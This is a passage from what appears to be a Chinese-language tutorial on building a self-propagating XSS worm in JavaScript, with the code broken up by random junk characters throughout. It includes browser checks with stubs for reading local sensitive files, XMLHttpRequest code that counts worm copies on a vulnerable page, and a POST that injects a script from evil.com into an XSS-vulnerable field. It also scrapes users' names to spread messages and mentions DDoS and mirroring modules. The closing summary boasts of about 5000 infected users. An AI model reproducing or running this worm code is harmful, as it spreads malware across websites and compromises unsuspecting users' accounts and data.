0 ?/ e( G$ Y. {8 C8 K; g/ | Actual_Name="Opera";5 h8 U0 d" x9 O
$ @8 E" C# O% o# a7 V) J var tempstart=Browser_Agent.indexOf("Opera");% O7 i/ X* M$ N) ?8 {
9 u6 d$ H' b! x9 R
var tempend=Browser_Agent.length;
. O, l; U; C6 |# W$ {. C2 m) `( N) E [3 E5 f" r2 c. `
Actual_Version=Browser_Agent.substring(tempstart+6,tempend), J( \. H/ z+ ]4 D V% ~
9 d+ i8 \# y$ } }
9 m) b2 P9 i \7 f1 K4 o8 C: k6 h
7 U: V3 p' n$ M }
6 n% {1 |1 U9 B+ R0 U0 r& m, X/ y8 G% i: b1 D+ u0 W
else{
9 x6 s( W. K3 h' }( k
9 p, R/ w0 `8 T9 r Actual_Name="Unknown Navigator"
) a0 `6 j8 L& c; r- @: e- F
1 N0 S: X1 A, u Actual_Version="Unknown Version"
6 s& u& g# b o! Y; D/ A
$ j. J& b' R8 {; [6 u" C/ I }8 s% C5 T& q' ^/ W {; i
# E d3 _# ^) A" G) G* ]7 f
+ j" B4 P- h; I# l2 x3 s4 {
+ ^& h8 Q# |) T1 V/ Q5 U+ c* o navigator.Actual_Name=Actual_Name;- a/ }1 Q6 ^, D) L2 k
( g+ N0 x$ Z+ U8 j/ [1 o navigator.Actual_Version=Actual_Version;" C, ?( P' X% W
5 y& }( @: C6 Q+ w& z
$ `8 B5 P, b1 a2 }5 X& @" c% g+ d
/ m* m Y9 |8 ~. g2 r, ` this.Name=Actual_Name;( [7 B9 b- I/ v$ n/ G
( j; [8 V8 d2 d) [6 }
this.Version=Actual_Version;; \8 z! ?4 d: @
' T2 ^" G5 ?9 A5 v/ X1 {0 j% v
}' y/ k' _3 R9 y! |
0 T! b0 p% [+ D" { browserinfo();
6 S) k. J9 Q. u5 ^1 i8 s' k2 ~* b9 ]$ B5 [& e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}& R; Q3 s' |; L9 q2 n+ B4 G
$ s f9 u0 |0 K) c0 l; u if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
9 k1 U* k5 Z3 P5 D1 v- v) w6 I% O0 w6 X
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}0 H+ b% |8 [2 G) E1 T, J0 v( G6 i
0 U( u* z4 I5 z( F6 l; m
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
2 f5 ]6 Y9 \- _, Y. k复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码 h2 Z- E1 g( o- r0 v
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码) _9 Z, u# N+ s' Z
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.0 A) B' I) } x) C3 ~
/ ~) Y- \* |$ t8 I8 S
xmlHttpReq.send(null);
# M$ h: p, M; o# S2 r+ W
9 k; l: p: x; D% \( V9 Tvar resource = xmlHttpReq.responseText;: c0 q& G1 v$ L+ l* ~" `
9 Y3 y' t2 {- K. p* S- gvar id=0;var result;1 Z8 C$ b/ N+ q: `8 S
9 z* e* I8 A# Kvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
" L" q3 Z8 T3 T" N* a0 a: |- T4 I( q1 r+ [: }
while ((result = patt.exec(resource)) != null) {
" Z4 r' {' a/ N! Y1 J5 b4 G
! U: h) k2 R+ t" l4 Sid++;7 g: j- g2 A$ z3 |
4 N' x Q4 Z- F" w" P
}6 I) _3 _* q, l, K0 |* E
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.3 p) s) B4 {2 ^/ n8 d
% ^! y1 V0 k2 ^5 H( i c
no=resource.search(/my name is/);
6 s9 a' Y1 Z+ u( k: J* U* J }1 q
& M. d) k ]" L- @- q* _2 ^9 pvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;) ~ [/ l) C2 o7 G
5 B7 {, r h2 G" j( QxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");5 q( Z& C& G `( P2 z2 z% q
, h3 G k- K$ q7 ^: ]2 s6 AxmlHttpReq.setRequestHeader("content-length",post.length); % p; q- X, e* n
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);% g2 @: G1 [' U. P: ?
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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, u- a4 Q( P+ U: D0 K/ a' Wvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.+ L' Y! S; P. E# k
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.% E6 a) E+ f" \$ ?
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var post="wd="+wd;
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, N( d; j/ x \& bxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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$ N) e' T5 Q& D' W& @0 VxmlHttpReq.setRequestHeader("content-length",post.length); , V4 l8 {( F9 {1 ~
; [$ g5 o* `9 w) c* fxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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! a! H" p: E* U, Q; `( ExmlHttpReq.send(post); //把传播的信息 POST出去./ A2 M7 p( l% r: y" t' ]7 y" ]
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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. W4 A$ W0 [, S0 b本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.; j6 v, @$ N, F
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能." m! K% f4 z1 W# ]" i, u% i
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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- `( S$ B% I; c- X本文引用文档资料:! f3 `2 U7 k! Y
3 n; |% h) _5 I9 h: l"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
3 B3 Y& I2 i! uOther XmlHttpRequest tricks (Amit Klein, January 2003)$ `. |( d3 J4 e- R9 b' ^# K
"Cross Site Tracing" (Jeremiah Grossman, January 2003)8 X) p0 I; }- a* H% {. F5 w
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
- y. ]' }5 B" R空虚浪子心BLOG http://www.inbreak.net* u7 v8 ?- O' k/ h# y' P* n* I
Xeye Team http://xeye.us/
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